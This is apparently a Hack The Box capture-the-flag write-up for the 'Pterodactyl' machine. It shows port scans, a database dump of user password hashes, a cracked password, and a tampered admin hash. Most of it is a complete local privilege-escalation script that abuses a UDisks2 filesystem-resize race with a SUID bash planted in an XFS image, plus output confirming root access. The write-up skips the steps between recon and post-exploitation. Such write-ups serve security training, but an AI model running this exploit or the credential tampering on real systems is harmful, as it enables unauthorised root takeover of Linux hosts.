Pterodactyl

1. User

1.1. Recon

1.1.1. PortScan

┌──(root㉿kali)-[~/Desktop/htb/Pterodactyl]
└─# nmap 10.129.254.14 -p- --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-07 14:03 EST
Nmap scan report for 10.129.254.14 (10.129.254.14)
Host is up (0.35s latency).
Not shown: 65512 filtered tcp ports (no-response), 19 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
443/tcp  closed https
8080/tcp closed http-proxy

Nmap done: 1 IP address (1 host up) scanned in 19.63 seconds
                                                                                                          
┌──(root㉿kali)-[~/Desktop/htb/Pterodactyl]
└─# nmap 10.129.254.14 -p22,80,443,8080 -sCV
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-07 14:03 EST
Nmap scan report for 10.129.254.14 (10.129.254.14)
Host is up (0.074s latency).

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp   open   http       nginx 1.21.5
|_http-server-header: nginx/1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
443/tcp  closed https
8080/tcp closed http-proxy

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.62 seconds
phileasfogg3@pterodactyl:/> mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 panel -e "SELECT id,username,email,password,root_admin FROM users;"
mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead
+----+--------------+------------------------------+--------------------------------------------------------------+------------+
| id | username     | email                        | password                                                     | root_admin |
+----+--------------+------------------------------+--------------------------------------------------------------+------------+
|  2 | headmonitor  | headmonitor@pterodactyl.htb  | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |          1 |
|  3 | phileasfogg3 | phileasfogg3@pterodactyl.htb | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |          0 |
+----+--------------+------------------------------+--------------------------------------------------------------+------------+
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx

Session..........: hashcat
Status...........: Cracked
phileasfogg3@pterodactyl:/> mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 panel -e "UPDATE users SET password='\$2y\$10\$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi' WHERE id=2;"
mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead
From attacker machine terminal 1:

dd if=/dev/zero of=/tmp/xfs.image bs=1M count=300
mkfs.xfs -q /tmp/xfs.image
mkdir -p /tmp/xfs_mount
sudo mount -t xfs /tmp/xfs.image /tmp/xfs_mount
sudo cp /tmp/target_bash /tmp/xfs_mount/bash
sudo chown root:root /tmp/xfs_mount/bash
sudo chmod 4755 /tmp/xfs_mount/bash
sudo umount /tmp/xfs_mount

sshpass -p '!QAZ2wsx' ssh -o StrictHostKeyChecking=no phileasfogg3@10.129.1.50 'echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment'

sshpass -p '!QAZ2wsx' scp -o StrictHostKeyChecking=no /tmp/xfs.image phileasfogg3@10.129.254.14:/tmp/xfs.image


From attacker machine terminal 2:
sshpass -p '!QAZ2wsx' ssh -o StrictHostKeyChecking=no phileasfogg3@10.129.254.14 '
pkill -KILL gvfs-udisks2-volume-monitor 2>/dev/null

LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction 2>&1 | grep -oP "/dev/loop\d+")

echo "Loop device creado: $LOOP_DEV"

(while true; do
    find /tmp -name "bash" -type f -executable 2>/dev/null | head -1 | while read bash_path; do
        if [ -u "$bash_path" ]; then
            "$bash_path" -p -c "id; cat /root/root.txt" > /tmp/root_out.txt 2>&1
            if [ $? -eq 0 ]; then
                exit 0
            fi
        fi
    done
    sleep 0.1
done) &

sleep 1

if [ -n "$LOOP_DEV" ]; then
    gdbus call --system --dest org.freedesktop.UDisks2 \
        --object-path /org/freedesktop/UDisks2/block_devices/$(basename $LOOP_DEV) \
        --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}" 2>/dev/null
fi

sleep 5

if [ -f /tmp/root_out.txt ]; then
    cat /tmp/root_out.txt
else
    echo "Exploit falló, intentando de nuevo..."
    
    # Intentar encontrar bash SUID manualmente
    find /tmp -type d -name "blockdev*" 2>/dev/null | while read dir; do
        if [ -f "$dir/bash" ] && [ -u "$dir/bash" ]; then
            echo "Encontrado bash SUID en: $dir"
            "$dir/bash" -p -c "id; cat /root/root.txt"
        fi
    done
fi
'
┌──(root㉿kali)-[~/Desktop/htb/Pterodactyl]
└─# sshpass -p '!QAZ2wsx' ssh -o StrictHostKeyChecking=no phileasfogg3@10.129.253.234 '
quote> pkill -KILL gvfs-udisks2-volume-monitor 2>/dev/null
quote>
quote> LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction 2>&1 | grep -oP "/dev/loop\d+")
quote>
quote> echo "Loop device creado: $LOOP_DEV"
quote>
quote> (while true; do
quote>     find /tmp -name "bash" -type f -executable 2>/dev/null | head -1 | while read bash_path; do
quote>         if [ -u "$bash_path" ]; then
quote>             "$bash_path" -p -c "id; cat /root/root.txt" > /tmp/root_out.txt 2>&1
quote>             if [ $? -eq 0 ]; then
quote>                 exit 0
quote>             fi
quote>         fi
quote>     done
quote>     sleep 0.1
quote> done) &
quote>
quote> sleep 1
quote>
quote> if [ -n "$LOOP_DEV" ]; then
quote>     gdbus call --system --dest org.freedesktop.UDisks2 \
quote>         --object-path /org/freedesktop/UDisks2/block_devices/$(basename $LOOP_DEV) \
quote>         --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}" 2>/dev/null
quote> fi
quote>
quote> sleep 5
quote>
quote> if [ -f /tmp/root_out.txt ]; then
quote>     cat /tmp/root_out.txt
quote> else
quote>     echo "Exploit falló, intentando de nuevo..."
quote>
quote>     # Intentar encontrar bash SUID manualmente
quote>     find /tmp -type d -name "blockdev*" 2>/dev/null | while read dir; do
quote>         if [ -f "$dir/bash" ] && [ -u "$dir/bash" ]; then
quote>             echo "Encontrado bash SUID en: $dir"
quote>             "$dir/bash" -p -c "id; cat /root/root.txt"
quote>         fi
quote>     done
quote> fi
quote> '
Loop device creado: /dev/loop0
()
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
c93d286c2e0c619f7b379950468078ab